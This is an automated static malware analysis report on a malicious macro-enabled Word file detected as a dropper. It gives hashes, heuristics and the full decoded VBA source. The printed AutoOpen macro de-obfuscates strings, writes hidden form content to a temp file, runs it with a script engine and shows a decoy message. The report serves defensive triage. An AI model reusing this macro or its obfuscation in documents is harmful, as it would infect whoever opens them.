Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 13c1bfba45c64431…

MALICIOUS

Office (OOXML)

263.5 KB Created: 2018-07-04 08:10:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-05-10
MD5: ea6e849b14c6354dd01d61c6e74f5a96 SHA-1: 2042d35b50247dc86cefd8bbb0246f388d4caa70 SHA-256: 13c1bfba45c64431f213b305b2345ac7f0c1bf317215f2a637c561556c07893f
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros, including an AutoOpen macro that utilizes Shell() and CreateObject() functions. This indicates an attempt to execute arbitrary code. The ClamAV detection name 'Doc.Dropper.Agent-7534786-0' and the presence of VBA macros strongly suggest a dropper functionality, likely downloading and executing a secondary payload. The script attempts to reconstruct a URL from concatenated strings, but it is truncated and obfuscated, preventing confident reconstruction.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7534786-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7534786-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3410 bytes
SHA-256: c0531121e224caed12c49cf315521311ad262832626a7ce8bf3e6101626bf0b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function apelikd(qyxqedj, orrecof, nunmocm)
texwikgy = 807 - 551
End If
Function ubvuwygq(ajucz, ehump, ami)
olvenve = 169 - 459
End If
Function idfyfisj(fukxe)
hijtuqd = 754 + 974
End If
Function kirbi(yxyti)
vkile = 452 - 544
End If
Function gzyrma(aqerp, epih)
sitsarto = 121 + 815
End If
Function ikoxs(aboj)
ml886 = ""
a642 = "pas"
ikoxs = Replace(aboj, a642, ml886)
End Function
Function semce(omvubdolb)
afelh = 870 + 211
End If
Function othiga(hyliqxo, cuqydg)
axipl = 337 + 445
End If
Function onab(gfyvku, ompe, azyzo, ilu, ydy)
unami = 180 + 422
End If
Sub AutoOpen()
zkatoz = "zupohor"
othywju = ikoxs("")
paki = ikoxs(" ")
uqaje = "ijakfomf"
rtygdowsa = "utquczyr"
qymnef = ikoxs("%pastpasepasmpasppas%")
uwylq = "artetmomebtyha"
omis = "rozyzujigu"
qegowt = "yfategmonxalecsoxu"
uxruflokg = ikoxs("@pas@")
memdubko = "jcinenl"
xozjeko = "ubamwev"
osmyq = ikoxs("%pasSpasypasspastpasepasmpasDpasrpasipasvpasepas%")
jipryrm = ikoxs("Spascpasrpasipasppastpasipasnpasgpas.pasFpasipaslpasepasSpasypasspastpasepasmpasOpasbpasjpasepascpast")
fnyhlabt = ikoxs("Dpasepascpasrpasypasppastpasipasopasnpas passpastpasapasrpastpasepasdpas!pas pasWpasapasipastpas.")
tansixe = "savorusejs"
lwojja = "rebiccaltijqywqima"
igxyr = ikoxs("WpasSpascpasrpasipasppastpas.pasSpashpasepaslpasl")
soqehte = "ypuchanpom"
xefaqva = ikoxs("\pasepasrpasrpasopasrpasspas.pastpasxpast")
rhihxo = "imcecorokviqte"
yrpaz = ikoxs("cpasmpasdpas.pasepasxpasepas pas/paskpas pas""pasSpasEpasTpas pasapas0pas1pas=paswpasspascpasrpas&pas pasSpasEpasTpas pasapas0pas2pas=pasipasppastpas&pas&pascpasapaslpaslpas pas%pasapas0pas1pas%pas%pasapas0pas2pas%pas pas/pasepas:pasjpasspascpasrpasipasppastpas pas/pas/pasbpas ")
kvecasga = "vyjywridxegbil"
eddypi = "mhorhodyqiwb"
unfyvj = "iqejujpej"
anozcyw = "ekylvaxsirexdepujs"
idexfe = "wcygardyth"
ohizgo = "uxobsaltisip"
muco = ikoxs("-pas-pas-")
acmuwo = "izijing"
Set jnavkud = CreateObject(jipryrm)
ocymwu = "ixaplogsijnagohetl"
Rem evude
Set kopiwp = CreateObject(igxyr)
otiz = "rxakoxtondun"
umkeg = kopiwp.ExpandEnvironmentStrings(osmyq)
hxyhkef = 107
Set bepeqy = jnavkud.GetDrive(umkeg)
hezo = "pzikakd"
'nulymu
If bepeqy.FreeSpace > 10000 Then
awmuca = 712
Rem yddeqacxurt
avpabt = kopiwp.ExpandEnvironmentStrings(qymnef) & xefaqva
ebdapgi = UserForm1.moros.Caption
wjukfemf = 889
'wtoskidahb
ebdapgi = Replace(ebdapgi, uxruflokg, paki)
dahajh = "ezrulewupsojora"
ebdapgi = Replace(ebdapgi, muco, vbNewLine)
vdujby = "pakuckexe"
Rem fdeshyb
Open avpabt For Output As #72
Print #72, ebdapgi
ahtini = 899
Close #72
Shell yrpaz & avpabt & othywju, False
ucjofzo = "psyjqasaxpuwyfupgav"
Rem yzuvqyhi
End If
MsgBox (fnyhlabt)
inzovv = "yculipivmelidasy"
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{0E0D8055-D224-42EB-B62F-831FBF9976B5}{4A563C7B-6A8F-4736-AD23-6BD5879193A4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 124928 bytes
SHA-256: 930f59b41e4a75759eda7d506545c815e16ceecb25d92a97075d065ae542fda4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.